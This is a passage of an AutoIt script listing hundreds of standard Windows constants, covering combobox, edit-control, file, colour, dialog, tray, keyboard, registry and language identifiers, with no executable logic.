  748. Global Const $cb_addstring = 323
  749. Global Const $cb_deletestring = 324
  750. Global Const $cb_dir = 325
  751. Global Const $cb_findstring = 332
  752. Global Const $cb_findstringexact = 344
  753. Global Const $cb_getcomboboxinfo = 356
  754. Global Const $cb_getcount = 326
  755. Global Const $cb_getcuebanner = ($cbm_first + 4)
  756. Global Const $cb_getcursel = 327
  757. Global Const $cb_getdroppedcontrolrect = 338
  758. Global Const $cb_getdroppedstate = 343
  759. Global Const $cb_getdroppedwidth = 351
  760. Global Const $cb_geteditsel = 320
  761. Global Const $cb_getextendedui = 342
  762. Global Const $cb_gethorizontalextent = 349
  763. Global Const $cb_getitemdata = 336
  764. Global Const $cb_getitemheight = 340
  765. Global Const $cb_getlbtext = 328
  766. Global Const $cb_getlbtextlen = 329
  767. Global Const $cb_getlocale = 346
  768. Global Const $cb_getminvisible = 5890
  769. Global Const $cb_gettopindex = 347
  770. Global Const $cb_initstorage = 353
  771. Global Const $cb_limittext = 321
  772. Global Const $cb_resetcontent = 331
  773. Global Const $cb_insertstring = 330
  774. Global Const $cb_selectstring = 333
  775. Global Const $cb_setcuebanner = ($cbm_first + 3)
  776. Global Const $cb_setcursel = 334
  777. Global Const $cb_setdroppedwidth = 352
  778. Global Const $cb_seteditsel = 322
  779. Global Const $cb_setextendedui = 341
  780. Global Const $cb_sethorizontalextent = 350
  781. Global Const $cb_setitemdata = 337
  782. Global Const $cb_setitemheight = 339
  783. Global Const $cb_setlocale = 345
  784. Global Const $cb_setminvisible = 5889
  785. Global Const $cb_settopindex = 348
  786. Global Const $cb_showdropdown = 335
  787. Global Const $cbn_closeup = 8
  788. Global Const $cbn_dblclk = 2
  789. Global Const $cbn_dropdown = 7
  790. Global Const $cbn_editchange = 5
  791. Global Const $cbn_editupdate = 6
  792. Global Const $cbn_errspace = (-1)
  793. Global Const $cbn_killfocus = 4
  794. Global Const $cbn_selchange = 1
  795. Global Const $cbn_selendcancel = 10
  796. Global Const $cbn_selendok = 9
  797. Global Const $cbn_setfocus = 3
  798. Global Const $cbes_ex_casesensitive = 16
  799. Global Const $cbes_ex_noeditimage = 1
  800. Global Const $cbes_ex_noeditimageindent = 2
  801. Global Const $cbes_ex_nosizelimit = 8
  802. Global Const $__comboboxconstant_wm_user = 1024
  803. Global Const $cbem_deleteitem = $cb_deletestring
  804. Global Const $cbem_getcombocontrol = ($__comboboxconstant_wm_user + 6)
  805. Global Const $cbem_geteditcontrol = ($__comboboxconstant_wm_user + 7)
  806. Global Const $cbem_getexstyle = ($__comboboxconstant_wm_user + 9)
  807. Global Const $cbem_getextendedstyle = ($__comboboxconstant_wm_user + 9)
  808. Global Const $cbem_getimagelist = ($__comboboxconstant_wm_user + 3)
  809. Global Const $cbem_getitema = ($__comboboxconstant_wm_user + 4)
  810. Global Const $cbem_getitemw = ($__comboboxconstant_wm_user + 13)
  811. Global Const $cbem_getunicodeformat = 8192 + 6
  812. Global Const $cbem_haseditchanged = ($__comboboxconstant_wm_user + 10)
  813. Global Const $cbem_insertitema = ($__comboboxconstant_wm_user + 1)
  814. Global Const $cbem_insertitemw = ($__comboboxconstant_wm_user + 11)
  815. Global Const $cbem_setexstyle = ($__comboboxconstant_wm_user + 8)
  816. Global Const $cbem_setextendedstyle = ($__comboboxconstant_wm_user + 14)
  817. Global Const $cbem_setimagelist = ($__comboboxconstant_wm_user + 2)
  818. Global Const $cbem_setitema = ($__comboboxconstant_wm_user + 5)
  819. Global Const $cbem_setitemw = ($__comboboxconstant_wm_user + 12)
  820. Global Const $cbem_setunicodeformat = 8192 + 5
  821. Global Const $cbem_setwindowtheme = 8192 + 11
  822. Global Const $cben_first = (-800)
  823. Global Const $cben_last = (-830)
  824. Global Const $cben_beginedit = ($cben_first - 4)
  825. Global Const $cben_deleteitem = ($cben_first - 2)
  826. Global Const $cben_dragbegina = ($cben_first - 8)
  827. Global Const $cben_dragbeginw = ($cben_first - 9)
  828. Global Const $cben_endedita = ($cben_first - 5)
  829. Global Const $cben_endeditw = ($cben_first - 6)
  830. Global Const $cben_getdispinfo = ($cben_first - 0)
  831. Global Const $cben_getdispinfoa = ($cben_first - 0)
  832. Global Const $cben_getdispinfow = ($cben_first - 7)
  833. Global Const $cben_insertitem = ($cben_first - 1)
  834. Global Const $cbeif_di_setitem = 268435456
  835. Global Const $cbeif_image = 2
  836. Global Const $cbeif_indent = 16
  837. Global Const $cbeif_lparam = 32
  838. Global Const $cbeif_overlay = 8
  839. Global Const $cbeif_selectedimage = 4
  840. Global Const $cbeif_text = 1
  841. Global Const $__comboboxconstant_ws_vscroll = 2097152
  842. Global Const $gui_ss_default_combo = BitOR($cbs_dropdown, $cbs_autohscroll, $__comboboxconstant_ws_vscroll)
  843. Global Const $es_left = 0
  844. Global Const $es_center = 1
  845. Global Const $es_right = 2
  846. Global Const $es_multiline = 4
  847. Global Const $es_uppercase = 8
  848. Global Const $es_lowercase = 16
  849. Global Const $es_password = 32
  850. Global Const $es_autovscroll = 64
  851. Global Const $es_autohscroll = 128
  852. Global Const $es_nohidesel = 256
  853. Global Const $es_oemconvert = 1024
  854. Global Const $es_readonly = 2048
  855. Global Const $es_wantreturn = 4096
  856. Global Const $es_number = 8192
  857. Global Const $ec_err = -1
  858. Global Const $ecm_first = 5376
  859. Global Const $em_canundo = 198
  860. Global Const $em_charfrompos = 215
  861. Global Const $em_emptyundobuffer = 205
  862. Global Const $em_fmtlines = 200
  863. Global Const $em_getcuebanner = ($ecm_first + 2)
  864. Global Const $em_getfirstvisibleline = 206
  865. Global Const $em_gethandle = 189
  866. Global Const $em_getimestatus = 217
  867. Global Const $em_getlimittext = 213
  868. Global Const $em_getline = 196
  869. Global Const $em_getlinecount = 186
  870. Global Const $em_getmargins = 212
  871. Global Const $em_getmodify = 184
  872. Global Const $em_getpasswordchar = 210
  873. Global Const $em_getrect = 178
  874. Global Const $em_getsel = 176
  875. Global Const $em_getthumb = 190
  876. Global Const $em_getwordbreakproc = 209
  877. Global Const $em_hideballoontip = ($ecm_first + 4)
  878. Global Const $em_limittext = 197
  879. Global Const $em_linefromchar = 201
  880. Global Const $em_lineindex = 187
  881. Global Const $em_linelength = 193
  882. Global Const $em_linescroll = 182
  883. Global Const $em_posfromchar = 214
  884. Global Const $em_replacesel = 194
  885. Global Const $em_scroll = 181
  886. Global Const $em_scrollcaret = 183
  887. Global Const $em_setcuebanner = ($ecm_first + 1)
  888. Global Const $em_sethandle = 188
  889. Global Const $em_setimestatus = 216
  890. Global Const $em_setlimittext = $em_limittext
  891. Global Const $em_setmargins = 211
  892. Global Const $em_setmodify = 185
  893. Global Const $em_setpasswordchar = 204
  894. Global Const $em_setreadonly = 207
  895. Global Const $em_setrect = 179
  896. Global Const $em_setrectnp = 180
  897. Global Const $em_setsel = 177
  898. Global Const $em_settabstops = 203
  899. Global Const $em_setwordbreakproc = 208
  900. Global Const $em_showballoontip = ($ecm_first + 3)
  901. Global Const $em_undo = 199
  902. Global Const $ec_leftmargin = 1
  903. Global Const $ec_rightmargin = 2
  904. Global Const $ec_usefontinfo = 65535
  905. Global Const $emsis_compositionstring = 1
  906. Global Const $eimes_getcompstratonce = 1
  907. Global Const $eimes_cancelcompstrinfocus = 2
  908. Global Const $eimes_completecompstrkillfocus = 4
  909. Global Const $en_align_ltr_ec = 1792
  910. Global Const $en_align_rtl_ec = 1793
  911. Global Const $en_change = 768
  912. Global Const $en_errspace = 1280
  913. Global Const $en_hscroll = 1537
  914. Global Const $en_killfocus = 512
  915. Global Const $en_maxtext = 1281
  916. Global Const $en_setfocus = 256
  917. Global Const $en_update = 1024
  918. Global Const $en_vscroll = 1538
  919. Global Const $tti_none = 0
  920. Global Const $tti_info = 1
  921. Global Const $tti_warning = 2
  922. Global Const $tti_error = 3
  923. Global Const $tti_info_large = 4
  924. Global Const $tti_warning_large = 5
  925. Global Const $tti_error_large = 6
  926. Global Const $__editconstant_ws_vscroll = 2097152
  927. Global Const $__editconstant_ws_hscroll = 1048576
  928. Global Const $gui_ss_default_edit = BitOR($es_wantreturn, $__editconstant_ws_vscroll, $__editconstant_ws_hscroll, $es_autovscroll, $es_autohscroll)
  929. Global Const $gui_ss_default_input = BitOR($es_left, $es_autohscroll)
  930. Global Const $fc_nooverwrite = 0
  931. Global Const $fc_overwrite = 1
  932. Global Const $ft_modified = 0
  933. Global Const $ft_created = 1
  934. Global Const $ft_accessed = 2
  935. Global Const $fo_read = 0
  936. Global Const $fo_append = 1
  937. Global Const $fo_overwrite = 2
  938. Global Const $fo_binary = 16
  939. Global Const $fo_unicode = 32
  940. Global Const $fo_utf16_le = 32
  941. Global Const $fo_utf16_be = 64
  942. Global Const $fo_utf8 = 128
  943. Global Const $fo_utf8_nobom = 256
  944. Global Const $eof = -1
  945. Global Const $fd_filemustexist = 1
  946. Global Const $fd_pathmustexist = 2
  947. Global Const $fd_multiselect = 4
  948. Global Const $fd_promptcreatenew = 8
  949. Global Const $fd_promptoverwrite = 16
  950. Global Const $create_new = 1
  951. Global Const $create_always = 2
  952. Global Const $open_existing = 3
  953. Global Const $open_always = 4
  954. Global Const $truncate_existing = 5
  955. Global Const $invalid_set_file_pointer = -1
  956. Global Const $file_begin = 0
  957. Global Const $file_current = 1
  958. Global Const $file_end = 2
  959. Global Const $file_attribute_readonly = 1
  960. Global Const $file_attribute_hidden = 2
  961. Global Const $file_attribute_system = 4
  962. Global Const $file_attribute_directory = 16
  963. Global Const $file_attribute_archive = 32
  964. Global Const $file_attribute_device = 64
  965. Global Const $file_attribute_normal = 128
  966. Global Const $file_attribute_temporary = 256
  967. Global Const $file_attribute_sparse_file = 512
  968. Global Const $file_attribute_reparse_point = 1024
  969. Global Const $file_attribute_compressed = 2048
  970. Global Const $file_attribute_offline = 4096
  971. Global Const $file_attribute_not_content_indexed = 8192
  972. Global Const $file_attribute_encrypted = 16384
  973. Global Const $file_share_read = 1
  974. Global Const $file_share_write = 2
  975. Global Const $file_share_delete = 4
  976. Global Const $generic_all = 268435456
  977. Global Const $generic_execute = 536870912
  978. Global Const $generic_write = 1073741824
  979. Global Const $generic_read = -2147483648
  980. Global Const $ddl_archive = 32
  981. Global Const $ddl_directory = 16
  982. Global Const $ddl_drives = 16384
  983. Global Const $ddl_exclusive = 32768
  984. Global Const $ddl_hidden = 2
  985. Global Const $ddl_readonly = 1
  986. Global Const $ddl_readwrite = 0
  987. Global Const $ddl_system = 4
  988. Global Const $color_aqua = 65535
  989. Global Const $color_black = 0
  990. Global Const $color_blue = 255
  991. Global Const $color_cream = 16776176
  992. Global Const $color_fuchsia = 16711935
  993. Global Const $color_gray = 8421504
  994. Global Const $color_green = 32768
  995. Global Const $color_lime = 65280
  996. Global Const $color_maroon = 9116770
  997. Global Const $color_medblue = 708
  998. Global Const $color_medgray = 10526884
  999. Global Const $color_moneygreen = 12639424
  1000. Global Const $color_navy = 128
  1001. Global Const $color_olive = 8421376
  1002. Global Const $color_purple = 8388736
  1003. Global Const $color_red = 16711680
  1004. Global Const $color_silver = 12632256
  1005. Global Const $color_skyblue = 10930928
  1006. Global Const $color_teal = 32896
  1007. Global Const $color_white = 16777215
  1008. Global Const $color_yellow = 16776960
  1009. Global Const $clr_none = -1
  1010. Global Const $clr_default = -16777216
  1011. Global Const $clr_aqua = 16776960
  1012. Global Const $clr_black = 0
  1013. Global Const $clr_blue = 16711680
  1014. Global Const $clr_cream = 15793151
  1015. Global Const $clr_fuchsia = 16711935
  1016. Global Const $clr_gray = 8421504
  1017. Global Const $clr_green = 32768
  1018. Global Const $clr_lime = 65280
  1019. Global Const $clr_maroon = 6429835
  1020. Global Const $clr_medblue = 12845568
  1021. Global Const $clr_medgray = 10789024
  1022. Global Const $clr_moneygreen = 12639424
  1023. Global Const $clr_navy = 8388608
  1024. Global Const $clr_olive = 32896
  1025. Global Const $clr_purple = 8388736
  1026. Global Const $clr_red = 255
  1027. Global Const $clr_silver = 12632256
  1028. Global Const $clr_skyblue = 15780518
  1029. Global Const $clr_teal = 8421376
  1030. Global Const $clr_white = 16777215
  1031. Global Const $clr_yellow = 65535
  1032. Global Const $cc_anycolor = 256
  1033. Global Const $cc_fullopen = 2
  1034. Global Const $cc_rgbinit = 1
  1035. Global Const $opt_coordsrelative = 0
  1036. Global Const $opt_coordsabsolute = 1
  1037. Global Const $opt_coordsclient = 2
  1038. Global Const $opt_errorsilent = 0
  1039. Global Const $opt_errorfatal = 1
  1040. Global Const $opt_capsnostore = 0
  1041. Global Const $opt_capsstore = 1
  1042. Global Const $opt_matchstart = 1
  1043. Global Const $opt_matchany = 2
  1044. Global Const $opt_matchexact = 3
  1045. Global Const $opt_matchadvanced = 4
  1046. Global Const $ccs_top = 1
  1047. Global Const $ccs_nomovey = 2
  1048. Global Const $ccs_bottom = 3
  1049. Global Const $ccs_noresize = 4
  1050. Global Const $ccs_noparentalign = 8
  1051. Global Const $ccs_nohilite = 16
  1052. Global Const $ccs_adjustable = 32
  1053. Global Const $ccs_nodivider = 64
  1054. Global Const $ccs_vert = 128
  1055. Global Const $ccs_left = 129
  1056. Global Const $ccs_nomovex = 130
  1057. Global Const $ccs_right = 131
  1058. Global Const $di_mask = 1
  1059. Global Const $di_image = 2
  1060. Global Const $di_normal = 3
  1061. Global Const $di_compat = 4
  1062. Global Const $di_defaultsize = 8
  1063. Global Const $di_nomirror = 16
  1064. Global Const $display_device_attached_to_desktop = 1
  1065. Global Const $display_device_multi_driver = 2
  1066. Global Const $display_device_primary_device = 4
  1067. Global Const $display_device_mirroring_driver = 8
  1068. Global Const $display_device_vga_compatible = 16
  1069. Global Const $display_device_removable = 32
  1070. Global Const $display_device_disconnect = 33554432
  1071. Global Const $display_device_remote = 67108864
  1072. Global Const $display_device_modespruned = 134217728
  1073. Global Const $flashw_caption = 1
  1074. Global Const $flashw_tray = 2
  1075. Global Const $flashw_timer = 4
  1076. Global Const $flashw_timernofg = 12
  1077. Global Const $format_message_allocate_buffer = 256
  1078. Global Const $format_message_ignore_inserts = 512
  1079. Global Const $format_message_from_string = 1024
  1080. Global Const $format_message_from_hmodule = 2048
  1081. Global Const $format_message_from_system = 4096
  1082. Global Const $format_message_argument_array = 8192
  1083. Global Const $gw_hwndfirst = 0
  1084. Global Const $gw_hwndlast = 1
  1085. Global Const $gw_hwndnext = 2
  1086. Global Const $gw_hwndprev = 3
  1087. Global Const $gw_owner = 4
  1088. Global Const $gw_child = 5
  1089. Global Const $gwl_wndproc = -4
  1090. Global Const $gwl_hinstance = -6
  1091. Global Const $gwl_hwndparent = -8
  1092. Global Const $gwl_id = -12
  1093. Global Const $gwl_style = -16
  1094. Global Const $gwl_exstyle = -20
  1095. Global Const $gwl_userdata = -21
  1096. Global Const $std_cut = 0
  1097. Global Const $std_copy = 1
  1098. Global Const $std_paste = 2
  1099. Global Const $std_undo = 3
  1100. Global Const $std_redow = 4
  1101. Global Const $std_delete = 5
  1102. Global Const $std_filenew = 6
  1103. Global Const $std_fileopen = 7
  1104. Global Const $std_filesave = 8
  1105. Global Const $std_printpre = 9
  1106. Global Const $std_properties = 10
  1107. Global Const $std_help = 11
  1108. Global Const $std_find = 12
  1109. Global Const $std_replace = 13
  1110. Global Const $std_print = 14
  1111. Global Const $lr_defaultcolor = 0
  1112. Global Const $lr_monochrome = 1
  1113. Global Const $lr_color = 2
  1114. Global Const $lr_copyreturnorg = 4
  1115. Global Const $lr_copydeleteorg = 8
  1116. Global Const $lr_loadfromfile = 16
  1117. Global Const $lr_loadtransparent = 32
  1118. Global Const $lr_defaultsize = 64
  1119. Global Const $lr_vgacolor = 128
  1120. Global Const $lr_loadmap3dcolors = 4096
  1121. Global Const $lr_createdibsection = 8192
  1122. Global Const $lr_copyfromresource = 16384
  1123. Global Const $lr_shared = 32768
  1124. Global Const $image_bitmap = 0
  1125. Global Const $image_icon = 1
  1126. Global Const $image_cursor = 2
  1127. Global Const $kb_sendspecial = 0
  1128. Global Const $kb_sendraw = 1
  1129. Global Const $kb_capsoff = 0
  1130. Global Const $kb_capson = 1
  1131. Global Const $dont_resolve_dll_references = 1
  1132. Global Const $load_library_as_datafile = 2
  1133. Global Const $load_with_altered_search_path = 8
  1134. Global Const $objid_window = 0
  1135. Global Const $objid_titlebar = -2
  1136. Global Const $objid_sizegrip = -7
  1137. Global Const $objid_caret = -8
  1138. Global Const $objid_cursor = -9
  1139. Global Const $objid_alert = -10
  1140. Global Const $objid_sound = -11
  1141. Global Const $vk_down = 40
  1142. Global Const $vk_end = 35
  1143. Global Const $vk_home = 36
  1144. Global Const $vk_left = 37
  1145. Global Const $vk_next = 34
  1146. Global Const $vk_prior = 33
  1147. Global Const $vk_right = 39
  1148. Global Const $vk_up = 38
  1149. Global Const $vk_lbutton = 1
  1150. Global Const $vk_rbutton = 2
  1151. Global Const $vk_mbutton = 4
  1152. Global Const $mb_ok = 0
  1153. Global Const $mb_okcancel = 1
  1154. Global Const $mb_abortretryignore = 2
  1155. Global Const $mb_yesnocancel = 3
  1156. Global Const $mb_yesno = 4
  1157. Global Const $mb_retrycancel = 5
  1158. Global Const $mb_iconhand = 16
  1159. Global Const $mb_iconquestion = 32
  1160. Global Const $mb_iconexclamation = 48
  1161. Global Const $mb_iconasterisk = 64
  1162. Global Const $mb_defbutton1 = 0
  1163. Global Const $mb_defbutton2 = 256
  1164. Global Const $mb_defbutton3 = 512
  1165. Global Const $mb_applmodal = 0
  1166. Global Const $mb_systemmodal = 4096
  1167. Global Const $mb_taskmodal = 8192
  1168. Global Const $mb_topmost = 262144
  1169. Global Const $mb_rightjustified = 524288
  1170. Global Const $idtimeout = -1
  1171. Global Const $idok = 1
  1172. Global Const $idcancel = 2
  1173. Global Const $idabort = 3
  1174. Global Const $idretry = 4
  1175. Global Const $idignore = 5
  1176. Global Const $idyes = 6
  1177. Global Const $idno = 7
  1178. Global Const $idtryagain = 10
  1179. Global Const $idcontinue = 11
  1180. Global Const $dlg_notitle = 1
  1181. Global Const $dlg_notontop = 2
  1182. Global Const $dlg_textleft = 4
  1183. Global Const $dlg_textright = 8
  1184. Global Const $dlg_moveable = 16
  1185. Global Const $dlg_textvcenter = 32
  1186. Global Const $tip_iconnone = 0
  1187. Global Const $tip_iconasterisk = 1
  1188. Global Const $tip_iconexclamation = 2
  1189. Global Const $tip_iconhand = 3
  1190. Global Const $tip_nosound = 16
  1191. Global Const $idc_unknown = 0
  1192. Global Const $idc_appstarting = 1
  1193. Global Const $idc_arrow = 2
  1194. Global Const $idc_cross = 3
  1195. Global Const $idc_hand = 32649
  1196. Global Const $idc_help = 4
  1197. Global Const $idc_ibeam = 5
  1198. Global Const $idc_icon = 6
  1199. Global Const $idc_no = 7
  1200. Global Const $idc_size = 8
  1201. Global Const $idc_sizeall = 9
  1202. Global Const $idc_sizenesw = 10
  1203. Global Const $idc_sizens = 11
  1204. Global Const $idc_sizenwse = 12
  1205. Global Const $idc_sizewe = 13
  1206. Global Const $idc_uparrow = 14
  1207. Global Const $idc_wait = 15
  1208. Global Const $idi_application = 32512
  1209. Global Const $idi_asterisk = 32516
  1210. Global Const $idi_exclamation = 32515
  1211. Global Const $idi_hand = 32513
  1212. Global Const $idi_question = 32514
  1213. Global Const $idi_winlogo = 32517
  1214. Global Const $sd_logoff = 0
  1215. Global Const $sd_shutdown = 1
  1216. Global Const $sd_reboot = 2
  1217. Global Const $sd_force = 4
  1218. Global Const $sd_powerdown = 8
  1219. Global Const $str_nocasesense = 0
  1220. Global Const $str_casesense = 1
  1221. Global Const $str_stripleading = 1
  1222. Global Const $str_striptrailing = 2
  1223. Global Const $str_stripspaces = 4
  1224. Global Const $str_stripall = 8
  1225. Global Const $tray_item_exit = 3
  1226. Global Const $tray_item_pause = 4
  1227. Global Const $tray_item_first = 7
  1228. Global Const $tray_checked = 1
  1229. Global Const $tray_unchecked = 4
  1230. Global Const $tray_enable = 64
  1231. Global Const $tray_disable = 128
  1232. Global Const $tray_focus = 256
  1233. Global Const $tray_default = 512
  1234. Global Const $tray_event_showicon = -3
  1235. Global Const $tray_event_hideicon = -4
  1236. Global Const $tray_event_flashicon = -5
  1237. Global Const $tray_event_noflashicon = -6
  1238. Global Const $tray_event_primarydown = -7
  1239. Global Const $tray_event_primaryup = -8
  1240. Global Const $tray_event_secondarydown = -9
  1241. Global Const $tray_event_secondaryup = -10
  1242. Global Const $tray_event_mouseover = -11
  1243. Global Const $tray_event_mouseout = -12
  1244. Global Const $tray_event_primarydouble = -13
  1245. Global Const $tray_event_secondarydouble = -14
  1246. Global Const $stdin_child = 1
  1247. Global Const $stdout_child = 2
  1248. Global Const $stderr_child = 4
  1249. Global Const $stderr_merged = 8
  1250. Global Const $stdio_inherit_parent = 16
  1251. Global Const $run_create_new_console = 65536
  1252. Global Const $mouseeventf_absolute = 32768
  1253. Global Const $mouseeventf_move = 1
  1254. Global Const $mouseeventf_leftdown = 2
  1255. Global Const $mouseeventf_leftup = 4
  1256. Global Const $mouseeventf_rightdown = 8
  1257. Global Const $mouseeventf_rightup = 16
  1258. Global Const $mouseeventf_middledown = 32
  1259. Global Const $mouseeventf_middleup = 64
  1260. Global Const $mouseeventf_wheel = 2048
  1261. Global Const $mouseeventf_xdown = 128
  1262. Global Const $mouseeventf_xup = 256
  1263. Global Const $reg_none = 0
  1264. Global Const $reg_sz = 1
  1265. Global Const $reg_expand_sz = 2
  1266. Global Const $reg_binary = 3
  1267. Global Const $reg_dword = 4
  1268. Global Const $reg_dword_big_endian = 5
  1269. Global Const $reg_link = 6
  1270. Global Const $reg_multi_sz = 7
  1271. Global Const $reg_resource_list = 8
  1272. Global Const $reg_full_resource_descriptor = 9
  1273. Global Const $reg_resource_requirements_list = 10
  1274. Global Const $hwnd_bottom = 1
  1275. Global Const $hwnd_notopmost = -2
  1276. Global Const $hwnd_top = 0
  1277. Global Const $hwnd_topmost = -1
  1278. Global Const $swp_nosize = 1
  1279. Global Const $swp_nomove = 2
  1280. Global Const $swp_nozorder = 4
  1281. Global Const $swp_noredraw = 8
  1282. Global Const $swp_noactivate = 16
  1283. Global Const $swp_framechanged = 32
  1284. Global Const $swp_drawframe = 32
  1285. Global Const $swp_showwindow = 64
  1286. Global Const $swp_hidewindow = 128
  1287. Global Const $swp_nocopybits = 256
  1288. Global Const $swp_noownerzorder = 512
  1289. Global Const $swp_noreposition = 512
  1290. Global Const $swp_nosendchanging = 1024
  1291. Global Const $swp_defererase = 8192
  1292. Global Const $swp_asyncwindowpos = 16384
  1293. Global Const $lang_afrikaans = 54
  1294. Global Const $lang_albanian = 28
  1295. Global Const $lang_arabic = 1
  1296. Global Const $lang_armenian = 43
  1297. Global Const $lang_assamese = 77
  1298. Global Const $lang_azeri = 44
  1299. Global Const $lang_basque = 45
  1300. Global Const $lang_belarusian = 35
  1301. Global Const $lang_bengali = 69
  1302. Global Const $lang_bulgarian = 2
  1303. Global Const $lang_catalan = 3
  1304. Global Const $lang_chinese = 4
  1305. Global Const $lang_croatian = 26
  1306. Global Const $lang_czech = 5
  1307. Global Const $lang_danish = 6
  1308. Global Const $lang_dutch = 19
  1309. Global Const $lang_english = 9
  1310. Global Const $lang_estonian = 37
  1311. Global Const $lang_faeroese = 56
  1312. Global Const $lang_farsi = 41
  1313. Global Const $lang_finnish = 11
  1314. Global Const $lang_french = 156
  1315. Global Const $lang_georgian = 55
  1316. Global Const $lang_german = 7
  1317. Global Const $lang_greek = 8
  1318. Global Const $lang_gujarati = 71
  1319. Global Const $lang_hebrew = 13
  1320. Global Const $lang_hindi = 57
  1321. Global Const $lang_hungarian = 14
  1322. Global Const $lang_icelandic = 15
  1323. Global Const $lang_indonesian = 33
  1324. Global Const $lang_italian = 16
  1325. Global Const $lang_japanese = 17
  1326. Global Const $lang_kannada = 75
  1327. Global Const $lang_kashmiri = 96
  1328. Global Const $lang_kazak = 63
  1329. Global Const $lang_konkani = 87
  1330. Global Const $lang_korean = 18
  1331. Global Const $lang_latvian = 38
  1332. Global Const $lang_lithuanian = 39
  1333. Global Const $lang_macedonian = 47
  1334. Global Const $lang_malay = 62
  1335. Global Const $lang_malayalam = 76
  1336. Global Const $lang_manipuri = 88
  1337. Global Const $lang_marathi = 78
  1338. Global Const $lang_nepali = 97
  1339. Global Const $lang_neutral = 0
  1340. Global Const $lang_norwegian = 20
  1341. Global Const $lang_oriya = 72
  1342. Global Const $lang_polish = 21
  1343. Global Const $lang_portuguese = 22
  1344. Global Const $lang_punjabi = 70
  1345. Global Const $lang_romanian = 24
  1346. Global Const $lang_russian = 25
  1347. Global Const $lang_sanskrit = 79
  1348. Global Const $lang_serbian = 26
  1349. Global Const $lang_sindhi = 89
  1350. Global Const $lang_slovak = 27
  1351. Global Const $lang_slovenian = 36
  1352. Global Const $lang_spanish = 10
  1353. Global Const $lang_swahili = 65
  1354. Global Const $lang_swedish = 29
  1355. Global Const $lang_tamil = 73
  1356. Global Const $lang_tatar = 68
  1357. Global Const $lang_telugu = 74
  1358. Global Const $lang_thai = 30
  1359. Global Const $lang_turkish = 31
  1360. Global Const $lang_ukrainian = 34
  1361. Global Const $lang_urdu = 32
  1362. Global Const $lang_uzbek = 67
  1363. Global Const $lang_vietnamese = 42
  1364. Global Const $sublang_arabic_algeria = 5
  1365. Global Const $sublang_arabic_bahrain = 15
  1366. Global Const $sublang_arabic_egypt = 3
  1367. Global Const $sublang_arabic_iraq = 2
  1368. Global Const $sublang_arabic_jordan = 11
  1369. Global Const $sublang_arabic_kuwait = 13
  1370. Global Const $sublang_arabic_lebanon = 12
  1371. Global Const $sublang_arabic_libya = 4
  1372. Global Const $sublang_arabic_morocco = 6
  1373. Global Const $sublang_arabic_oman = 8
  1374. Global Const $sublang_arabic_qatar = 16
  1375. Global Const $sublang_arabic_saudi_arabia = 1
  1376. Global Const $sublang_arabic_syria = 10
  1377. Global Const $sublang_arabic_tunisia = 7
  1378. Global Const $sublang_arabic_uae = 14
  1379. Global Const $sublang_arabic_yemen = 9
  1380. Global Const $sublang_azeri_cyrillic = 2
  1381. Global Const $sublang_azeri_latin = 1
  1382. Global Const $sublang_chinese_hongkong = 3
  1383. Global Const $sublang_chinese_macau = 5
  1384. Global Const $sublang_chinese_simplified = 2
  1385. Global Const $sublang_chinese_singapore = 4
  1386. Global Const $sublang_chinese_traditional = 1
  1387. Global Const $sublang_default = 1
  1388. Global Const $sublang_dutch = 1
  1389. Global Const $sublang_dutch_belgian = 2
  1390. Global Const $sublang_english_aus = 3
  1391. Global Const $sublang_english_belize = 10
  1392. Global Const $sublang_english_can = 4
  1393. Global Const $sublang_english_caribbean = 9
  1394. Global Const $sublang_english_eire = 6
  1395. Global Const $sublang_english_jamaica = 8
  1396. Global Const $sublang_english_nz = 5
  1397. Global Const $sublang_english_philippines = 13
  1398. Global Const $sublang_english_south_africa = 7
  1399. Global Const $sublang_english_trinidad = 11
  1400. Global Const $sublang_english_uk = 2
  1401. Global Const $sublang_english_us = 1
  1402. Global Const $sublang_english_zimbabwe = 12
  1403. Global Const $sublang_french = 1
  1404. Global Const $sublang_french_belgian = 2
  1405. Global Const $sublang_french_canadian = 3
  1406. Global Const $sublang_french_luxembourg = 5
  1407. Global Const $sublang_french_monaco = 6
  1408. Global Const $sublang_french_swiss = 4
  1409. Global Const $sublang_german = 1
  1410. Global Const $sublang_german_austrian = 3
  1411. Global Const $sublang_german_liechtenstein = 5
  1412. Global Const $sublang_german_luxembourg = 4
  1413. Global Const $sublang_german_swiss = 2
  1414. Global Const $sublang_italian = 1
  1415. Global Const $sublang_italian_swiss = 2
  1416. Global Const $sublang_kashmiri_india = 2
  1417. Global Const $sublang_korean = 1
  1418. Global Const $sublang_lithuanian = 1
  1419. Global Const $sublang_malay_brunei_darussalam = 2
  1420. Global Const $sublang_malay_malaysia = 1
  1421. Global Const $sublang_nepali_india = 2
  1422. Global Const $sublang_neutral = 0
  1423. Global Const $sublang_norwegian_bokmal = 1
  1424. Global Const $sublang_norwegian_nynorsk = 2
  1425. Global Const $sublang_portuguese = 2
  1426. Global Const $sublang_portuguese_brazilian = 1
  1427. Global Const $sublang_serbian_cyrillic = 3
  1428. Global Const $sublang_serbian_latin = 2
  1429. Global Const $sublang_spanish = 1
  1430. Global Const $sublang_spanish_argentina = 11
  1431. Global Const $sublang_spanish_bolivia = 16
  1432. Global Const $sublang_spanish_chile = 13
  1433. Global Const $sublang_spanish_colombia = 9
  1434. Global Const $sublang_spanish_costa_rica = 5
  1435. Global Const $sublang_spanish_dominican_republic = 7
  1436. Global Const $sublang_spanish_ecuador = 12
  1437. Global Const $sublang_spanish_el_salvador = 17
  1438. Global Const $sublang_spanish_guatemala = 4
  1439. Global Const $sublang_spanish_honduras = 18
  1440. Global Const $sublang_spanish_mexican = 2
  1441. Global Const $sublang_spanish_modern = 3
  1442. Global Const $sublang_spanish_nicaragua = 19
  1443. Global Const $sublang_spanish_panama = 6
  1444. Global Const $sublang_spanish_paraguay = 15
  1445. Global Const $sublang_spanish_peru = 10
  1446. Global Const $sublang_spanish_puerto_rico = 20
  1447. Global Const $sublang_spanish_uruguay = 14
  1448. Global Const $sublang_spanish_venezuela = 8
  1449. Global Const $sublang_swedish = 1
  1450. Global Const $sublang_swedish_finland = 2
  1451. Global Const $sublang_sys_default = 2
  1452. Global Const $sublang_urdu_india = 2
  1453. Global Const $sublang_urdu_pakistan = 1
  1454. Global Const $sublang_uzbek_cyrillic = 2
  1455. Global Const $sort_default = 0
  1456. Global Const $sort_japanese_xjis = 0
  1457. Global Const $sort_japanese_unicode = 1
  1458. Global Const $sort_chinese_big5 = 0
  1459. Global Const $sort_chinese_prcp = 0
  1460. Global Const $sort_chinese_unicode = 1
  1461. Global Const $sort_chinese_prc = 2
  1462. Global Const $sort_korean_ksc = 0
  1463. Global Const $sort_korean_unicode = 1
